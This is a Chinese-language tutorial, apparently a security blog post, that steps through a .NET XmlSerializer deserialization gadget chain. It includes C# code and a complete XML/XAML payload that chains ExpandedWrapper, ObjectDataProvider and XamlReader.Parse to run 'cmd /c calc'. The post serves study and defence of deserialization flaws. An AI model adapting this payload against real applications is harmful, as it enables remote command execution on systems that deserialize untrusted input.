前置介紹
ObjectDataProvider
命名空間:
程序集:
PresentationFramework.dll
包裝和創建可以用作綁定源的對象。
ObjectDataProvider,顧名思義就是把對象作爲數據源提供給Binding
數據源
WPF (全稱:Windows Presentation Foundation) 是用於替代Windows Form來創建Windows客戶端應用程序,WPF開發過程中主要有以下幾種數據綁定方法,這些對象可以視爲數據源綁定到控件
ResourceDictionary
ResourceDictionary即資源字典,用於wpf開發,資源中也可引入XAML名稱空間
ExpandedWrapper
定義
命名空間:
程序集:
System.Data.Services.dll
系統在內部使用此類,以便可支持預先加載了相關實體的查詢。
此 API 支持產品基礎結構,不能在代碼中直接使用。
public sealed class ExpandedWrapper<TExpandedElement,TProperty0,TProperty1,TProperty2> : System.Data.Services.Internal.ExpandedWrapper<TExpandedElement>
類型參數
TExpandedElement
擴展元素的類型。
TProperty0
要擴展的屬性的類型。
TProperty1
要擴展的屬性的類型。
TProperty2
要擴展的屬性的類型。
利用鏈調試
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ProcessStartInfo processinfo = new ProcessStartInfo();
processinfo.FileName = "cmd.exe";
processinfo.Arguments = " /c calc.exe";
var process = new Process();
process.StartInfo = processinfo;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.ObjectInstance = process;
XmlSerializer xml = new XmlSerializer(typeof(Object));
xml.Serialize(writer, odp);
在設置ObjectInstance,MethodParameters,MethodName時,ObjectDataProvider都會嘗試執行目標函數,但是在序列化會發現報錯
InvalidOperationException: 不應是類型 System.Windows.Data.ObjectDataProvider。使用 XmlInclude 或 SoapInclude 特性靜態指定非已知的類型。
需要序列化odp對象是一個未知的類。ObjectDataProvider是不能被直接序列化的,可以使用ExpandedWrapper
類來做包裝。它的作用就是擴展類的屬性。
修改代碼
static void Main(string[] args)
{
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
var process = new Process();
ObjectDataProvider odp = new ObjectDataProvider();
var Expandedwrapper = new ExpandedWrapper<Process, ObjectDataProvider>();
Expandedwrapper.ProjectedProperty0 = odp;
Expandedwrapper.ProjectedProperty0.ObjectInstance = process;
Expandedwrapper.ProjectedProperty0.MethodParameters.Add("calc");
Expandedwrapper.ProjectedProperty0.MethodName = "Start";
XmlSerializer xml = new XmlSerializer(typeof(Object));
xml.Serialize(writer, Expandedwrapper);
}
這樣沒了能執行起來,但是序列化數據失敗了,原因是因爲使用ExpandedWrapper
去包裝Process,是無法序列化的。
改造代碼
public class EvilClass
{
public void Evil(string cmd)
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + cmd;
process.Start();
}
}
static void Main(string[] args)
{
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ObjectDataProvider odp = new ObjectDataProvider();
var Expandedwrapper = new ExpandedWrapper<EvilClass, ObjectDataProvider>();
Expandedwrapper.ProjectedProperty0 = odp;
Expandedwrapper.ProjectedProperty0.ObjectInstance = new EvilClass();
Expandedwrapper.ProjectedProperty0.MethodParameters.Add("calc");
Expandedwrapper.ProjectedProperty0.MethodName = "Evil";
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<EvilClass, ObjectDataProvider>));
xml.Serialize(writer, Expandedwrapper);
memoryStream.Position = 0;
// 輸出xml
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
}
}
自定義了一個類和方法 方法 自定義的方法裏面去調用Process去執行命令。這樣序列化數據就不會報錯了。但是在實際利用中肯定是不能這樣用的。因爲目標上沒有我們構造的這個類。所以需要尋找一個合適的類來做串聯。
XamlReader
ExpandedWrapper可以被XmlSerializer序列化,同時XAML還可以通過XamlReader.Parse實現反序列化返回ExpandedWrapper
對象。構造的惡意ExpandedWrapper
會調用Process進行命令執行.
ResourceDictionary
ResourceDictionary又稱資源字典,使用xaml語法
以下是執行命令的ResourceDictionary
執行命令的一個payload
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
- xmlns:c 引用了System.Diagnostics命名空間起別名爲c
- d:Key="" 起別名爲空,在xaml語法中,Key這個鍵值必須有。
- ObjectType表示對象類型
- d:Type 等同於typeof()
- MethodName是ObjectDataProvider的屬性,傳遞一個Start等於調用Start方法。
- c:Process 等同於System.Diagnostics.Process
static void Main(string[] args)
{
string xaml = "<ResourceDictionary \r\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \r\n xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" \r\n xmlns:b=\"clr-namespace:System;assembly=mscorlib\" \r\n xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\">\r\n <ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\">\r\n <ObjectDataProvider.MethodParameters>\r\n <b:String>cmd</b:String>\r\n <b:String>/c calc</b:String>\r\n </ObjectDataProvider.MethodParameters>\r\n </ObjectDataProvider>\r\n</ResourceDictionary>";
XamlReader.Parse(xaml);
}
怎麼串聯起來的具體可以看yso生成的POC
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
先是ExpandedWrapper<XamlReader, ObjectDataProvider>
執行了XamlReader.Parse()
去解析xaml,xaml構造的是ExpandedWrapper<Process, ObjectDataProvider>
,在ExpandedWrapper<Process, ObjectDataProvider> 執行的時候會去調用Process.Start()
來執行 calc
參考
https://www.cnblogs.com/Ivan1ee/p/16226064.html
https://github.com/Y4er/dotnet-deserialization/blob/main/XmlSerializer.md